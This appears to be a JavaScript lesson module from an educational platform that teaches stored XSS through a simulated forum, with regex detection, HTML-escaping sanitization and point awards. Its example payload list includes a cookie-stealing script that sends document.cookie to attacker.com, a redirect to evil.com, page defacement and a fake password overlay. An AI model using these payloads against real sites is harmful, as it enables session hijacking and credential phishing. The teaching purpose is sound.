medienkompetenz-lernplattform/backend/lessons/modules/script-injection-forum/index.js
Marius Rometsch a439873394 Add lessons
2026-02-08 19:47:21 +01:00

237 lines
7.3 KiB
JavaScript

const LessonModule = require('../base/LessonModule');
/**
* Forum Script Injection Lesson
* Demonstrates stored XSS vulnerabilities in comment systems
*/
class ForumScriptInjectionLesson extends LessonModule {
constructor(config) {
super(config);
}
/**
* Detect script injection in comment content
* @param {string} content - Comment content
* @returns {boolean} True if script detected
*/
detectScriptInjection(content) {
const patterns = [
/<script[\s\S]*?>/gi,
/on\w+\s*=/gi,
/javascript:/gi,
/<iframe/gi,
/<object/gi,
/<embed/gi,
/<svg[^>]+onload/gi,
/<img[^>]+onerror/gi
];
return patterns.some(pattern => pattern.test(content));
}
/**
* Analyze injection type
* @param {string} content - Comment content
* @returns {Object} Analysis result
*/
analyzeInjection(content) {
if (/<script[\s\S]*?>/gi.test(content)) {
return {
type: 'SCRIPT_TAG',
severity: 'high',
description: 'Script tag injection detected. Can execute arbitrary JavaScript.',
example: 'Steals cookies, hijacks sessions, or redirects users.'
};
}
if (/on\w+\s*=/gi.test(content)) {
return {
type: 'EVENT_HANDLER',
severity: 'high',
description: 'Event handler injection detected. Executes code on user interaction.',
example: 'Triggers malicious code when user clicks or hovers.'
};
}
if (/javascript:/gi.test(content)) {
return {
type: 'JAVASCRIPT_PROTOCOL',
severity: 'medium',
description: 'JavaScript protocol detected. Can execute code when clicked.',
example: 'Often used in links to execute JavaScript.'
};
}
if (/<iframe/gi.test(content)) {
return {
type: 'IFRAME',
severity: 'high',
description: 'IFrame injection detected. Can embed malicious external content.',
example: 'Loads phishing pages or malware from external sources.'
};
}
if (/<img[^>]+onerror/gi.test(content)) {
return {
type: 'IMG_ONERROR',
severity: 'high',
description: 'Image error handler injection detected.',
example: 'Always executes when using invalid image source.'
};
}
return {
type: 'NONE',
severity: 'none',
description: 'No script injection detected.',
example: 'Content appears safe.'
};
}
/**
* Sanitize comment for display
* @param {string} content - Comment content
* @returns {string} Sanitized content
*/
sanitizeComment(content) {
return content
.replace(/&/g, '&amp;')
.replace(/</g, '&lt;')
.replace(/>/g, '&gt;')
.replace(/"/g, '&quot;')
.replace(/'/g, '&#x27;');
}
/**
* Add a comment to the forum (simulated)
* Called via executeLessonAction endpoint
* @param {string} participantId - Participant identifier
* @param {string} author - Comment author name
* @param {string} content - Comment content
* @param {string} stepId - Step identifier
* @param {number} eventLessonId - Event lesson ID for point awards
* @returns {Object} Comment data with injection analysis
*/
async addComment(participantId, author, content, stepId, eventLessonId) {
const hasInjection = this.detectScriptInjection(content);
const analysis = this.analyzeInjection(content);
const sanitized = this.sanitizeComment(content);
// Award points based on injection type discovered
let pointsAwarded = 0;
if (hasInjection && participantId && eventLessonId) {
const pointsMap = {
'SCRIPT_TAG': 40, // Classic script tag
'EVENT_HANDLER': 35, // Event handler injection
'JAVASCRIPT_PROTOCOL': 25, // JavaScript protocol
'IFRAME': 45, // IFrame embedding
'IMG_ONERROR': 40, // Image error XSS
'NONE': 0
};
pointsAwarded = pointsMap[analysis.type] || 20;
if (pointsAwarded > 0) {
try {
await this.awardPoints(participantId, eventLessonId, pointsAwarded,
`Stored XSS discovered: ${analysis.type}`);
} catch (error) {
console.error('Failed to award XSS points:', error);
}
}
}
return {
id: Date.now(),
author: author || 'Anonymous',
content: content,
sanitizedContent: sanitized,
timestamp: new Date().toISOString(),
hasInjection,
injectionType: analysis.type,
injectionSeverity: analysis.severity,
injectionDescription: analysis.description,
injectionExample: analysis.example,
pointsAwarded
};
}
/**
* Get interactive data for forum demo step
* @param {string} stepId - Step identifier
* @returns {Object} Interactive component data
*/
async getInteractiveData(stepId) {
if (stepId === 'forum-demo') {
return {
forumPost: {
id: 1,
title: 'Welcome to the Security Forum!',
author: 'Admin',
content: 'This is a demonstration forum for learning about stored XSS vulnerabilities. Feel free to post comments below. Try both safe comments and XSS payloads to see how the system detects them.',
timestamp: '2026-02-08T10:00:00Z'
},
initialComments: [
{
id: 1,
author: 'Alice',
content: 'Great post! Looking forward to learning about security.',
timestamp: '2026-02-08T10:05:00Z',
hasInjection: false
},
{
id: 2,
author: 'Bob',
content: 'Thanks for sharing this information.',
timestamp: '2026-02-08T10:10:00Z',
hasInjection: false
},
{
id: 3,
author: 'Charlie',
content: 'Very informative! Can\'t wait to try the demos.',
timestamp: '2026-02-08T10:15:00Z',
hasInjection: false
}
],
examplePayloads: [
{
label: 'Cookie Stealer',
author: 'Attacker',
payload: '<script>fetch(\'http://attacker.com/steal?c=\'+document.cookie)</script>',
description: 'Attempts to steal session cookies'
},
{
label: 'Redirect Attack',
author: 'Malicious User',
payload: '<script>window.location=\'http://evil.com\'</script>',
description: 'Redirects users to malicious site'
},
{
label: 'DOM Manipulation',
author: 'Hacker',
payload: '<script>document.body.innerHTML=\'<h1>Site Hacked!</h1>\'</script>',
description: 'Defaces the website'
},
{
label: 'Image Onerror XSS',
author: 'Sneaky',
payload: '<img src=x onerror="alert(\'XSS Vulnerability\')">',
description: 'Executes code via image error handler'
},
{
label: 'Phishing Overlay',
author: 'Phisher',
payload: '<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:white;z-index:9999"><form>Password: <input type="password"></form></div>',
description: 'Creates fake login overlay'
}
]
};
}
return await super.getInteractiveData(stepId);
}
}
module.exports = ForumScriptInjectionLesson;